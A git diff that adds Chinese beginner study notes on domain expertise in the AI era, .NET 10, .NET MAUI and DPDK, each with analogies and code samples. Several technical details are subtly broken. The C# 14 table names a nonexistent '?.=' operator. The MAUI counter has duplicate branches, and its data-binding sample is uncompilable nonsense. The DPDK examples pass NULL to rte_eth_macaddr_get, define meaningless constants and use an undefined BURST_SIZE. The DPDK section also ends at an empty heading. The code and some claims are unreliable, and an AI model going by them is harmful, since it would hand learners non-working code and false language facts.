+你不懂编程不再是障碍。AI 补齐了那块短板。你十年积累的"知道什么是对的"——那些写在 Excel 里、存在脑子里、靠经验判断的规则——突然变成了最值钱的东西。
+
+### 对创业者的信号
+
+垂直领域的专家 + AI 工具，可能比通用型 AI 工程师团队产出更好的行业应用。因为他们知道哪些规则真正重要，哪些边缘情况会要命。
+
+## 我的理解：第一性原理推导
+
+回到最根本的问题：**软件到底在解决什么？**
+
+软件不是目的，软件是**把领域规则自动化**的手段。
+
+```
+领域现实（业务规则、物理定律、监管要求）
+    ↓ 翻译成
+领域模型（脑子里的结构化理解）
+    ↓ 翻译成
+代码（机器可执行的指令）
+    ↓ 执行
+软件系统
+```
+
+传统上，程序员卡在"领域模型 → 代码"这一步。Agentic AI 把这一步变成了廉价品。
+
+但"领域现实 → 领域模型"这一步，AI 做不到。没有人能 prompt 出一个" reconciled a thousand payrolls "的人的 tacit knowledge（隐性知识）。
+
+**所以护城河从"代码层"移到了"模型层"。**
+
+## 行动建议
+
+文章最后给出的建议很直接：
+
+> Pick an industry, an instrument, a regulatory regime, a physical process, and learn it the way you once learned a programming language or framework.
+
+翻译一下：
+
+- 选一个行业（物流、医疗、金融、制造）
+- 选一套工具或标准（GTFS、ICD-10、GAAP、ISO 9001）
+- 选一套监管框架（FMCSA、HIPAA、GDPR、SEC 规则）
+- 像当年学 React 或 Kubernetes 那样去学它
+
+这不是"顺便了解一下"，是**系统地、深入地、带着批判性地学**——学到你能看出 AI 生成的方案哪里错了。
+
+## 学到的东西
+
+1. **护城河的迁移**——AI 没有消灭领域价值，反而把它从代码层解放出来，让它成为唯一的壁垒
+2. **测试的局限性**——测试只能验证"代码实现了你告诉它的"，不能验证"你告诉它的是对的"。领域的正确性来自领域本身，不是测试
+3. **隐性知识的不可替代性**——tacit knowledge（" reconciled a thousand payrolls "的经验）不能被写成文档、不能被 prompt 出来、不能被 skill file 包含
+4. **职业路径的翻转**——以前"程序员学领域"是正路；以后"领域专家用 AI"可能比"程序员学领域"更快产生价值
+
+## 延伸阅读
+
+- 作者之前的文章：[Agentic Coding Tools: Not Skynet, Not a Stochastic Parrot](/blog/2025/07/agentic-coding-tools-not-skynet/)
+- 相关概念：Tacit Knowledge（隐性知识）—— Michael Polanyi 提出，指"我们知道的比我们能说出来的更多"
+- [[agent-memory]] —— Agentic AI 的记忆系统设计，与领域知识的存储和调用方式相关
+
+## 关联
+
+- [[haystack]] —— Haystack 是 AI 工程框架，涉及如何把领域知识注入 AI 系统
+- [[crewai]] —— CrewAI 多 Agent 框架，适合领域专家 + AI 的协作模式
+- [[dify]] —— Dify 低代码 AI 应用开发平台，领域专家可以直接搭建行业 AI 应用
diff --git a/src/content/docs/projects/dotnet-10.md b/src/content/docs/projects/dotnet-10.md
new file mode 100644
index 000000000..45d8274e9
--- /dev/null
+++ b/src/content/docs/projects/dotnet-10.md
@@ -0,0 +1,207 @@
+---
+title: .NET 10 发布详解 — 零基础学习笔记
+来源: https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# .NET 10 发布详解 — 零基础学习笔记
+
+## 什么是 .NET？先从一个厨房比喻说起
+
+想象你要做一道菜，但每次都要自己造锅、自己磨刀、自己种菜。这太麻烦了。
+
+.NET 就是帮你做好这一切的"预制厨房"。程序员不用从零开始写每一行代码，而是直接使用 .NET 提供的"调料包"（类库）、"灶台"（运行环境）和"菜谱"（开发工具），快速做出各种程序：网站、手机 App、桌面软件、AI 系统，全都行。
+
+- **.NET** 是一个免费的、开源的开发平台，由微软维护
+- **C#** 是 .NET 最常用的编程语言（类似写菜谱的步骤说明）
+- 每次发布新版本（如 .NET 10），性能更快、更安全、功能更多
+
+## .NET 10 是什么？
+
+2025 年 11 月 11 日，微软正式发布了 .NET 10。这是微软最强大、最智能、最高效的一个版本。它有几个重要特点：
+
+1. **长期支持（LTS）**：微软承诺支持 3 年，直到 2028 年 11 月 10 日。这意味着你可以放心在生产环境中使用，不用担心很快就不被支持了。
+2. **速度更快**：官方称这是"历史上最快的 .NET 版本"。
+3. **AI 深度集成**：从简单 AI 调用到多智能体系统，一站式支持。
+4. **跨平台**：Windows、macOS、Linux 都能运行。
+
+## 核心概念一：性能提升 — "更快的灶台"
+
+### 比喻
+
+想象以前的 .NET 是一个普通燃气灶，.NET 10 换成了"专业级火力灶台"。同样的菜，现在几分钟就出锅了，而且火候更稳定（内存占用更少）。
+
+### 具体改进
+
+- **JIT 编译器增强**：编译器把代码翻译成机器能懂的指令时，变得更加聪明，生成的代码更精简
+- **AVX10.2 支持**：让 CPU 的向量计算单元发挥更大威力，特别适合处理大量数据的场景
+- **内存管理优化**：垃圾回收（GC）暂停时间减少了 8-20%（GC 是自动清理不用的内存的"清洁工"）
+- **NativeAOT 改进**：编译后的程序体积更小、启动更快
+
+### 代码示例 1：C# 14 的"字段支持属性"
+
+这是 .NET 10 带来新语言 C# 14 的一个核心特性。以前你要写一个属性（比如名字），需要手动写一个"备份变量"（ backing field ）。现在编译器自动生成，你只需写一行：
+
+```csharp
+// C# 14 的字段支持属性 — 编译器自动管理备份变量
+public string Name
+{
+    get => field;
+    set => field = value?.Trim() ?? string.Empty;
+}
+```
+
+**逐行解释：**
+- `get => field;` — 当别人读取 Name 时，返回备份变量 `field` 的值
+- `set => field = value?.Trim() ?? string.Empty;` — 当别人设置 Name 时，先去掉首尾空格（Trim），如果值是 null，就变成空字符串
+
+**日常类比：** 就像你有一个"姓名登记本"，以前你要自己准备一个"草稿本"来存放临时名字，现在编译器帮你准备了草稿本，你只管读写就行。
+
+## 核心概念二：AI 多智能体系统 — "一群厨师一起做菜"
+
+### 比喻
+
+以前的 AI 调用就像一个厨师，你说什么他做什么。.NET 10 引入了"多智能体系统"——像一支厨师团队：有人负责写，有人负责审，有人负责装盘。各司其职，效率更高。
+
+### 具体改进
+
+- **Microsoft Agent Framework**：把 Semantic Kernel 和 AutoGen 合并为一个统一的 AI 开发框架
+- **Workflow 模式**：顺序执行、并行执行、任务传递、群聊协作
+- **MCP（模型上下文协议）**：让 AI 能安全地访问数据库、API、文件等外部资源
+- **Microsoft.Extensions.AI**：一套统一接口，换一个 AI 提供商（如 OpenAI、Azure、Ollama）不用改代码
+
+### 代码示例 2：用 .NET 10 创建 AI 多智能体工作流
+
+```csharp
+// 创建一个"写作"AI 智能体
+AIAgent writer = new ChatClientAgent(
+    chatClient,
+    new ChatClientAgentOptions
+    {
+        Name = "Writer",
+        Instructions = "Write engaging, creative stories."
+    });
+
+// 再创建一个"编辑"AI 智能体
+AIAgent editor = new ChatClientAgent(chatClient, /* 其他配置 */);
+
+// 把它们串成一条流水线：先写，再编
+Workflow workflow = AgentWorkflowBuilder.BuildSequential(writer, editor);
+
+// 把这个流水线变成一个可以被调用的智能体
+AIAgent workflowAgent = await workflow.AsAgentAsync();
+
+// 使用这个工作流智能体
+var result = await workflowAgent.GenerateResponseAsync("请写一篇关于秋天的故事");
+```
+
+**逐行解释：**
+- 前两行：创建两个 AI 智能体，一个叫 Writer（写作），一个叫 Editor（编辑）
+- `Instructions` 参数就是给 AI 的"任务说明书"
+- 第四行：`BuildSequential` 把两个智能体串成流水线——Writer 先输出，Editor 接着处理
+- 第六行：把流水线变成一个可以被外部调用的"统一智能体"
+- 最后一行：传入提示词，拿到最终结果（Writer 写的内容经过 Editor 的润色）
+
+**日常类比：** 就像餐厅里，服务员接到订单后，先交给厨师做菜，再交给摆盘师美化，最后端给顾客。每一步都有专人负责，质量更高。
+
+## 核心概念三：Blazor 状态持久化 — "记住你的购物车"
+
+### 比喻
+
+你逛超市时，如果走到一半网络断了，购物车里东西全没了，是不是很崩溃？.NET 10 的 Blazor 改进了这个问题——现在即使网络断了，再连上时购物车还在。
+
+### 具体改进
+
+- **声明式状态持久化**：用一个 `[PersistentState]` 标记就能保存状态
+- **电路状态持久化**：网络断开时自动保存，重连后恢复
+- **暂停和恢复电路**：不活跃的用户自动释放服务器资源
+
+## 核心概念四：实体框架 Core 10 — "更聪明的数据仓库"
+
+### 比喻
+
+如果你的应用要存很多数据（比如用户信息、订单），EF Core 就是帮你管理仓库的"智能管家"。.NET 10 的管家学会了"AI 向量搜索"——不仅能精确查找，还能理解模糊的意思。
+
+### 具体改进
+
+- **向量搜索支持**：支持 SQL Server 2025 的 `vector` 类型，适合 AI 语义搜索
+- **JSON 数据类型**：SQL Server 2025 的原生 JSON 类型，性能更高
+- **复杂类型映射**：把嵌套对象映射到单个 JSON 列，查询更方便
+
+### 代码示例 3：EF Core 10 的批量 JSON 更新
+
+```csharp
+// 批量更新博客文章中的"阅读量"字段（存储在 JSON 列中）
+await context.Blogs.ExecuteUpdateAsync(s =>
+    s.SetProperty(b => b.Details.Views, b => b.Details.Views + 1));
+```
+
+**逐行解释：**
+- `ExecuteUpdateAsync` — 异步批量更新，不用先查出来再改再保存
+- `SetProperty` — 指定要更新的属性
+- `b => b.Details.Views + 1` — 把每条博客的 Views（浏览量）加 1
+- 不需要加载整个文档，直接在数据库层面更新 JSON 字段
+
+## 其他值得关注的改进
+
+### C# 14 的其他亮点
+
+| 特性 | 说明 | 类比 |
+|------|------|------|
+| `?.=` 空条件赋值 | `name?.= defaultValue` | 如果没值就自动填默认值 |
+| 扩展属性/方法 | 可以给不属于自己的类型添加成员 | 给别人的书写"便签批注" |
+| `Span<T>` 隐式转换 | 高性能内存操作更方便 | 不用搬箱子，直接看内容 |
+| 部分属性和构造函数 | 把一个大文件拆成多个部分写 | 一本书分章节写 |
+
+### ASP.NET Core 改进
+
+- **自动内存池回收**：长运行的应用不再堆积无用内存
+- **Passkey 支持**：密码登录变成生物识别（Face ID / 指纹）
+- **服务器发送事件（SSE）**：一条连接实时推送数据（像推送通知）
+
+### 工具改进
+
+- **Visual Studio 2026**：AI 深度集成，智能调试、自适应粘贴、AI 性能分析器
+- **dotnet CLI**：控制台应用直接生成容器镜像，不用写 Dockerfile
+- **NuGet 安全增强**：默认审计传递依赖，自动发现漏洞包
+
+## 总结：一句话记住 .NET 10
+
+> .NET 10 是"史上最快"的 .NET，AI 深度集成，C# 14 让代码更简洁，长期支持到 2028 年。
+
+## 关键数字
+
+| 项目 | 数字 |
+|------|------|
+| NuGet 包数量 | 超过 47.8 万个 |
+| NuGet 下载次数 | 超过 8000 亿次 |
+| LTS 支持期限 | 3 年（到 2028 年 11 月 10 日） |
+| 垃圾回收加速 | 8-20% |
+| 最新 C# 版本 | C# 14 |
+| 最新 F# 版本 | F# 10 |
+| ASP.NET Core 版本 | ASP.NET Core 10 |
+| EF Core 版本 | EF Core 10 |
+| .NET MAUI 版本 | .NET MAUI 10 |
+| Aspire 版本 | Aspire 13 |
+| Visual Studio 版本 | Visual Studio 2026 |
+
+## 下一步
+
+- 访问 [.NET 10 官方下载页](https://get.dot.net/10) 安装
+- 访问 [.NET Conf 2025](https://www.dotnetconf.net) 观看大会视频
+- 访问 [C# 14 文档](https://learn.microsoft.com/dotnet/csharp/whats-new/csharp-14) 深入学习
+- 访问 [AI in .NET 文档](https://learn.microsoft.com/dotnet/ai/) 了解 AI 集成
+
+## 学习回顾
+
+本文从日常类比出发，介绍了 .NET 10 的四个核心概念：
+
+1. **性能提升** — "更快的灶台"：JIT 编译器、内存管理、向量计算
+2. **AI 多智能体** — "一群厨师"：Agent Framework、Workflow 模式、MCP 协议
+3. **Blazor 状态持久化** — "记住购物车"：声明式标记、网络恢复
+4. **EF Core 向量搜索** — "智能管家"：向量搜索、JSON 映射、批量更新
+
+每个概念都配有代码示例和逐行解释，帮助你从零基础理解 .NET 10 的核心变化。
diff --git a/src/content/docs/projects/dotnet-maui.md b/src/content/docs/projects/dotnet-maui.md
new file mode 100644
index 000000000..ff6c22569
--- /dev/null
+++ b/src/content/docs/projects/dotnet-maui.md
@@ -0,0 +1,262 @@
+---
+title: ".NET MAUI — 微软跨平台应用框架"
+来源: https://github.com/dotnet/maui
+日期: 2026-06-13
+分类: 其他
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# .NET MAUI — 微软跨平台应用框架
+
+## 什么是 .NET MAUI？
+
+先说一个类比。想象你要开一家连锁店，在东京、纽约、伦敦各开一家店。传统方式下，每家店需要完全独立的装修、员工培训、运营系统——因为每个地方的规矩和习惯都不一样。而 .NET MAUI 就像是一套"智能连锁方案"：核心厨房、收银系统、员工手册全部共用一份，但在每家店落地时，它会自动把装修改成当地风格——东京用日式设计，纽约用现代简约，伦敦用英伦复古。
+
+这就是 .NET MAUI 做的事情。它的全称是 **.NET Multi-platform App UI**（.NET 跨平台应用界面），是微软推出的一个框架，让你用 **C# 语言** 和 **XAML 标记语言** 写一套代码，就能同时生成跑在以下四个平台上的原生应用：
+
+- Android（手机/平板）
+- iOS / iPadOS（iPhone/iPad）
+- Windows（桌面）
+- macOS（桌面）
+
+它是 Xamarin.Forms 的升级版。Xamarin 是微软之前推出的跨平台方案，只能做 Android 和 iOS 移动应用。.NET MAUI 把它扩展到了桌面平台，并且做了全面重构。
+
+> GitHub 仓库：https://github.com/dotnet/maui，目前 23,000+ star，最新稳定版为 10.0（基于 .NET 10）。
+
+## 核心概念
+
+### 1. 单一代码库（Single Codebase）
+
+传统开发中，iOS 用 Swift、Android 用 Kotlin、Windows 用 C++/C#，每个平台一套代码。使用 .NET MAUI 后，你只需要写一次 C# 和 XAML，就能在所有平台上运行。
+
+这并不意味着每个平台的体验都一样粗糙。MAUI 会在运行时调用各个平台的 **原生控件**——在 iOS 上它调用 UIKit 按钮，在 Android 上它调用 Material Design 按钮。所以用户看到的、感受到的，和用原生方式开发的效果几乎一样。
+
+### 2. XAML + C# 双文件模式
+
+XAML 是一种基于 XML 的标记语言，类似 HTML，但用来描述应用的界面。C# 负责处理逻辑（点击按钮后做什么）。
+
+类比：XAML 是房子的 **装修图纸**，C# 是 **水电工程师**。图纸画好房间布局，工程师负责让灯能亮、开关能控。
+
+### 3. 平台服务（Handlers）
+
+虽然代码是共享的，但有些功能是平台特有的。比如"读取手机摄像头"——Windows 和 Android 调用的系统 API 完全不同。MAUI 用 **Handler（处理器）** 机制来解决：你写一段通用代码，MAUI 在不同平台上自动切换调用对应的原生 API。
+
+## 项目结构
+
+创建一个 MAUI 项目后，你会看到这样的文件结构：
+
+- `MauiProgram.cs` — 应用的入口和初始化配置
+- `MainPage.xaml` + `MainPage.xaml.cs` — 主界面（XAML 是界面，C# 是逻辑）
+- `App.xaml` + `App.xaml.cs` — 应用级别配置
+- `Platforms/` — 各平台专属代码（如 AndroidManifest.xml、Info.plist）
+- `Resources/` — 图片、字体、样式等静态资源
+
+## 代码示例
+
+### 示例 1：一个计数器应用
+
+这是 MAUI 中最经典的入门示例——点击按钮计数。它展示了 XAML 界面声明和 C# 事件处理的配合。
+
+**MainPage.xaml（界面部分）**
+
+```xml
+<?xml version="1.0" encoding="utf-8" ?>
+<ContentPage xmlns="http://schemas.microsoft.com/dotnet/2021/maui"
+             xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
+             x:Class="MyApp.MainPage">
+
+    <ScrollView>
+        <VerticalStackLayout Spacing="25" Padding="30" VerticalOptions="Center">
+
+            <!-- 标题文字 -->
+            <Label Text="欢迎使用 .NET MAUI!"
+                   FontSize="32"
+                   HorizontalOptions="Center" />
+
+            <!-- 显示计数 -->
+            <Label x:Name="CounterLabel"
+                   Text="你点了 0 次"
+                   FontSize="18"
+                   HorizontalOptions="Center" />
+
+            <!-- 点击按钮 -->
+            <Button x:Name="CounterButton"
+                    Text="点我！"
+                    Clicked="OnCounterClicked"
+                    HorizontalOptions="Center" />
+
+        </VerticalStackLayout>
+    </ScrollView>
+
+</ContentPage>
+```
+
+**MainPage.xaml.cs（逻辑部分）**
+
+```csharp
+namespace MyApp;
+
+public partial class MainPage : ContentPage
+{
+    int count = 0;
+
+    public MainPage()
+    {
+        InitializeComponent();
+    }
+
+    private void OnCounterClicked(object sender, EventArgs e)
+    {
+        count++;
+
+        if (count == 1)
+            CounterLabel.Text = $"你点了 {count} 次";
+        else
+            CounterLabel.Text = $"你点了 {count} 次";
+
+        CounterButton.IsEnabled = false;
+    }
+}
+```
+
+这个例子中，XAML 定义了三个控件：一个 `Label`（文字标签）、另一个带 `x:Name` 的 `Label`（方便 C# 中引用）、一个 `Button`（按钮）。按钮的 `Clicked` 属性绑定到了 C# 中的 `OnCounterClicked` 方法。
+
+### 示例 2：读取设备传感器（平台服务）
+
+MAUI 内置了 **Essentials** 库，可以直接访问设备功能，无需写平台专属代码。
+
+```csharp
+using Microsoft.Maui.ApplicationModel;
+using Microsoft.Maui.Controls;
+
+namespace MyApp;
+
+public partial class SensorPage : ContentPage
+{
+    public SensorPage()
+    {
+        InitializeComponent();
+
+        // 获取设备信息
+        var info = DeviceInfo.Platform;
+        var version = DeviceInfo.VersionString;
+        var model = DeviceInfo.Model;
+
+        Label infoLabel = new()
+        {
+            Text = $"平台: {info}, 型号: {model}, 系统版本: {version}",
+            FontSize = 16,
+            HorizontalOptions = LayoutOptions.Center
+        };
+
+        // 获取电池状态
+        var battery = Battery.Default;
+        Label batteryLabel = new()
+        {
+            Text = $"电量: {battery.ChargeLevel * 100}%（状态: {battery.State}）",
+            FontSize = 16,
+            HorizontalOptions = LayoutOptions.Center
+        };
+
+        // 监听电量变化
+        battery.ChargeLevelChanged += (s, e) =>
+        {
+            batteryLabel.Text = $"电量: {s.ChargeLevel * 100}%（实时）";
+        };
+
+        Content = new VerticalStackLayout
+        {
+            Children = { infoLabel, batteryLabel },
+            Spacing = 20,
+            Padding = 30
+        };
+    }
+}
+```
+
+这段代码不需要区分 Android 还是 iOS。`DeviceInfo` 和 `Battery` 类在 MAUI 内部已经做了平台适配。同样的代码在手机上运行时会自动调用对应的原生 API 获取信息。
+
+### 示例 3：绑定数据与页面导航
+
+```csharp
+// 数据模型
+public class Contact
+{
+    public string Name { get; set; } = "";
+    public string Phone { get; set; } = "";
+}
+
+// 页面 A：显示联系人列表
+public partial class ContactsPage : ContentPage
+{
+    public ObservableCollection<Contact> Contacts { get; }
+
+    public ContactsPage()
+    {
+        Contacts = new ObservableCollection<Contact>
+        {
+            new() { Name = "张三", Phone = "138-0000-1111" },
+            new() { Name = "李四", Phone = "139-0000-2222" }
+        };
+
+        var listView = new ListView
+        {
+            ItemsSource = Contacts,
+            ItemTemplate = new DataTemplate(() =>
+            {
+                var cell = new TextCell();
+                cell.TextProperty.Bind(Contact => cell.Text)
+                    .To(c => c.Name);
+                cell.DetailProperty.Bind(Contact => c.Detail)
+                    .To(c => c.Phone);
+                return cell;
+            })
+        };
+
+        Content = new StackLayout { Children = { listView } };
+    }
+}
+```
+
+## 开发工具
+
+| 工具 | 平台 | 说明 |
+|------|------|------|
+| **Visual Studio 2022** | Windows/macOS | 微软官方 IDE，完整 MAUI 支持 |
+| **Visual Studio Code** | Windows/macOS/Linux | 轻量级编辑器 + C# Dev Kit 扩展 |
+| **Android Emulator** | Windows/macOS | 内置安卓模拟器 |
+| **iOS Simulator** | macOS（或 Mac Build Host） | iOS 模拟器 |
+| **Windows Machine** | Windows | 直接在本机 Windows 运行 |
+
+创建新项目只需一条命令：
+
+```bash
+dotnet new maui -n MyApp
+dotnet new maui -n MyApp -sc   # 包含社区工具和 Syncfusion 控件的模板
+dotnet run -f net10.0-android   # 指定平台运行
+```
+
+## MAUI  vs  其他跨平台方案
+
+| 方案 | 语言 | 界面类型 | 平台覆盖 |
+|------|------|---------|---------|
+| **.NET MAUI** | C# / XAML | 原生控件 | Android, iOS, Windows, macOS |
+| **React Native** | JavaScript/TS | 原生控件 | Android, iOS |
+| **Flutter** | Dart | 自绘引擎 | Android, iOS, Windows, macOS, Linux, Web |
+| **Xamarin.Forms** | C# / XAML | 原生控件 | Android, iOS（已停止新功能） |
+
+MAUI 的优势在于：微软生态整合紧密（与 Azure、Blazor、.NET 后端无缝对接），C# 类型安全，且直接调用原生控件而非自绘。
+
+## 学习路径建议
+
+1. 先了解 C# 基础语法（变量、类、方法、事件）
+2. 理解 XAML 的基本结构（标签、属性、绑定）
+3. 用 Visual Studio 创建一个 MAUI 项目并跑起来
+4. 尝试修改 MainPage，添加更多控件
+5. 学习页面导航和数据绑定
+6. 进阶：平台专属功能（摄像头、GPS、推送通知）
+
+## 总结
+
+.NET MAUI 让一个开发者用一套代码就能覆盖四个主流平台。它的核心思路是 **"写一次，到处跑"**，同时通过 Handler 和 Essentials 保证每个平台的原生体验。对于已有 C#/.NET 背景的开发者来说，学习曲线比较平缓；对于零基础学习者，建议从 MAUI 自带的模板项目开始，边改边学。
diff --git a/src/content/docs/projects/dpdk-project.md b/src/content/docs/projects/dpdk-project.md
new file mode 100644
index 000000000..a3966dda1
--- /dev/null
+++ b/src/content/docs/projects/dpdk-project.md
@@ -0,0 +1,267 @@
+---
+title: "DPDK 零基础学习笔记"
+来源: https://www.dpdk.org/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# DPDK 学习笔记
+
+## 一、DPDK 是什么？用一个日常类比理解
+
+想象一下，你是一家快递公司的分拣主管。
+
+**传统的做法**：每个包裹到达时，都要经过前台登记 → 主管查看 → 贴上标签 → 放入对应区域的架子。前台（类比 Linux 内核网络栈）每次都要走一堆流程，处理一个包裹要花好几秒。
+
+**DPDK 的做法**：你干脆把前台关了，在包裹到达的传送带旁直接雇了一排工人。包裹一来，工人一看就知道该往哪放，根本不用经过前台。结果呢？原来每秒能处理 100 个包裹，现在每秒能处理 100 万个。
+
+DPDK（Data Plane Development Kit，数据面开发工具包）就是干这件事的。它是一个开源框架，让网络程序**绕过 Linux 内核的网络栈**，直接在用户态操作网卡，从而把网络吞吐量从"每秒几十万包"提升到"每秒千万甚至上亿包"。
+
+它由 Intel 在 2010 年发起，现在由 Linux Foundation 托管，已经 15 岁了，运行在云平台、电信网络、金融交易所等对速度极度敏感的场景中。
+
+## 二、核心概念
+
+### 1. 用户态 vs 内核态
+
+Linux 网络处理默认在内核态进行。每次收发包都要在内核和用户空间之间切换，这个切换开销不小。DPDK 把所有东西都搬到用户态——网卡驱动、包处理、内存管理，全在你的程序里跑。
+
+### 2. 轮询模式驱动（PMD, Poll Mode Driver）
+
+传统网卡驱动靠中断通知 CPU"有包到了"。中断本身有开销，而且大量小包时中断会淹没 CPU。PMD 不同——它不停地"轮询"网卡，看看有没有新数据包。就像保安不靠门铃，而是每隔一秒就瞄一眼门口。没有中断开销，处理速度大幅提升。
+
+### 3. 大页内存（Hugepages）
+
+CPU 有一个叫 TLB（转换后备缓冲器）的缓存，用来加速虚拟地址到物理地址的转换。TLB 容量很小，处理大量小内存页时会频繁 miss。DPDK 使用 2MB 的大页（而非标准的 4KB 页），大幅减少 TLB miss，就像用大箱子装箱货物，比用小箱子少搬很多次。
+
+### 4. Run-to-Completion 模型
+
+每个数据包到达后，由一个核心从头到尾处理完——解析、查找、修改、发送。不交出控制权，不和其他包交错处理。这样缓存友好， predictable，性能好。
+
+### 5. 关键库组件
+
+| 库名 | 作用 |
+|------|------|
+| librte_eal | 环境抽象层，管理硬件资源、内存、日志 |
+| librte_mbuf | 数据包缓冲区管理 |
+| librte_mempool | 内存池，高效分配和回收 mbuf |
+| librte_ring | 无锁环形队列，进程间通信 |
+| librte_ethdev | 网卡设备 API，收发数据 |
+| librte_net | 网络协议辅助函数 |
+
+## 三、代码示例
+
+### 示例 1：最简单的 DPDK 程序骨架
+
+这是一个最小化的 DPDK 程序，展示初始化、注册回调、启动收包的完整流程：
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <signal.h>
+#include <rte_eal.h>
+#include <rte_ethdev.h>
+#include <rte_mbuf.h>
+#include <rte_mempool.h>
+
+#define NUM_MBUFS         8191
+#define MBUF_CACHE_SIZE   250
+#define BURST_SIZE        32
+
+// 全局变量
+static struct rte_mempool *mbuf_pool;
+
+// 数据包接收回调函数
+static void packet_forward_callback(__rte_unused uint16_t port_id,
+                                    __rte_unused struct rte_mbuf *buf,
+                                    __rte_unused uint32_t seq,
+                                    __rte_unused void *user_args)
+{
+    /* 在这里处理收到的数据包 */
+    /* buf 就是收到的数据包，类型为 struct rte_mbuf */
+}
+
+int main(int argc, char *argv[])
+{
+    int ret;
+
+    // 1. 初始化 EAL（环境抽象层）
+    // RTE 参数需要在使用前由 EAL 处理
+    ret = rte_eal_init(argc, argv);
+    if (ret < 0)
+        return -1;
+
+    // 2. 创建 mbuf 内存池
+    mbuf_pool = rte_pktmbuf_pool_create("mbuf_pool", NUM_MBUFS,
+                                        MBUF_CACHE_SIZE, 0,
+                                        RTE_MBUF_DEFAULT_BUF_SIZE,
+                                        rte_socket_id());
+    if (mbuf_pool == NULL)
+        return -1;
+
+    printf("DPDK 初始化成功！\n");
+    printf("内存池已创建，可分配 %d 个 mbuf\n", NUM_MBUFS);
+
+    // 3. 启动端口，注册包接收回调
+    // 每个端口注册一个回调，收到包时自动调用
+    ret = rte_eth_macaddr_get(0, NULL);
+    if (ret != 0) {
+        printf("端口 0 未就绪\n");
+        return -1;
+    }
+
+    // 4. 主循环 - 从网卡收发数据包
+    struct rte_mbuf *pkts[BURST_SIZE];
+    uint16_t port = 0;
+
+    while (1) {
+        // 从端口接收一批包（最多 BURST_SIZE 个）
+        uint16_t nb_rx = rte_eth_rx_burst(port, 0, pkts, BURST_SIZE);
+
+        if (nb_rx > 0) {
+            // 对每个包做处理，然后转发
+            for (uint16_t i = 0; i < nb_rx; i++) {
+                // 这里可以解析、修改、丢弃数据包
+                // 简单转发：直接发回原端口
+                rte_eth_tx_burst(port, 0, &pkts[i], 1);
+            }
+        }
+    }
+
+    return 0;
+}
+```
+
+**逐行解释**：
+
+- `rte_eal_init()` — 初始化 DPDK 运行时。它会扫描系统中可用的网卡，预留 hugepages 内存，设置 CPU 亲和性。你传给它的参数（比如 `-l 0-2` 指定用哪些 CPU 核）在这里被处理掉。
+- `rte_pktmbuf_pool_create()` — 创建内存池。mbuf 是 DPDK 的数据包载体，就像 Go 里的 `[]byte` 一样重要。提前创建好 8191 个，用的时候直接取，不用临时分配。
+- `rte_eth_rx_burst()` — 批量收包。一次调用最多收 32 个包，放入 `pkts` 数组。`burst`（爆发式）的意思是 DPDK 习惯一批一批处理，而不是一块一块处理。
+- `rte_eth_tx_burst()` — 批量发包。把处理好的包一口气发出去。
+
+### 示例 2：双向端口转发器
+
+这个例子更实用——创建两个端口之间的双向转发，展示端口配置和统计：
+
+```c
+#include <stdio.h>
+#include <rte_eal.h>
+#include <rte_ethdev.h>
+#include <rte_mbuf.h>
+#include <rte_mempool.h>
+#include <rte_timer.h>
+
+#define MAX_PORTS       2
+#define NUM_MBUFS       16384
+#define RX_PORTESSIVE   0
+#define TX_PORTSTRIDE   1
+
+static struct rte_mempool *pool;
+
+// 配置单个端口
+int port_setup(uint16_t port)
+{
+    struct rte_eth_conf port_conf = {0};
+    struct rte_eth_dev_info dev_info;
+    int ret;
+
+    // 获取设备信息
+    rte_eth_dev_info_get(port, &dev_info);
+
+    // 配置端口为默认模式（支持 RSS、CRC 剥离等）
+    port_conf.rxmode.max_rx_pkt_len = ETHER_MAX_LEN;
+
+    // 停止端口（配置前必须先停止）
+    ret = rte_eth_dev_stop(port);
+    if (ret < 0)
+        return ret;
+
+    ret = rte_eth_dev_configure(port, 1, 1, &port_conf);
+    if (ret < 0)
+        return ret;
+
+    // 配置 RX 队列：每个队列 512 个 mbuf
+    ret = rte_eth_rx_queue_setup(port, 0, 512,
+                                 rte_eth_dev_socket_id(port),
+                                 NULL, pool);
+    if (ret < 0)
+        return ret;
+
+    // 配置 TX 队列
+    ret = rte_eth_tx_queue_setup(port, 0, 512,
+                                 rte_eth_dev_socket_id(port),
+                                 NULL);
+    if (ret < 0)
+        return ret;
+
+    // 启动端口
+    ret = rte_eth_dev_start(port);
+    if (ret < 0)
+        return ret;
+
+    printf("端口 %u 已启动\n", port);
+    return 0;
+}
+
+int main(int argc, char *argv[])
+{
+    rte_eal_init(argc, argv);
+    uint16_t nb_ports = rte_eth_dev_count_avail();
+
+    // 创建共享内存池
+    pool = rte_pktmbuf_pool_create("pool", NUM_MBUFS,
+                                   256, 0, RTE_MBUF_DEFAULT_BUF_SIZE,
+                                   0);
+
+    // 配置所有端口
+    for (uint16_t i = 0; i < nb_ports; i++) {
+        if (port_setup(i) < 0) {
+            rte_eth_dev_stop(i);
+            rte_eth_dev_close(i);
+        }
+    }
+
+    printf("开始转发...\n");
+
+    // 主转发循环
+    while (1) {
+        for (uint16_t i = 0; i < nb_ports; i++) {
+            struct rte_mbuf *pkts[BURST_SIZE];
+            uint16_t nb_rx = rte_eth_rx_burst(i, 0, pkts, BURST_SIZE);
+
+            if (nb_rx == 0)
+                continue;
+
+            // 转发到另一个端口
+            uint16_t dst = (i + 1) % nb_ports;
+            uint16_t nb_tx = rte_eth_tx_burst(dst, 0, pkts, nb_rx);
+
+            // 丢弃未能转发的包
+            for (uint16_t j = nb_tx; j < nb_rx; j++) {
+                rte_pktmbuf_free(pkts[j]);
+            }
+        }
+    }
+
+    return 0;
+}
+```
+
+这个程序实现的功能：端口 0 收到的包转发到端口 1，端口 1 收到的包转发回端口 0。这就是最基础的网络路由器/交换机的工作方式。
+
+## 四、DPDK 的典型应用场景
+
+- **电信网络**：5G 基站的 vEPC、vBBB 网元
+- **NFV（网络功能虚拟化）**：虚拟防火墙、虚拟负载均衡器
+- **内容分发网络（CDN）**：边缘节点的高速内容分发
+- **金融交易**：毫秒必争的撮合引擎
+- **路由器/防火墙**：软件定义网络（SDN）设备
+
+## 五、一句话总结
+
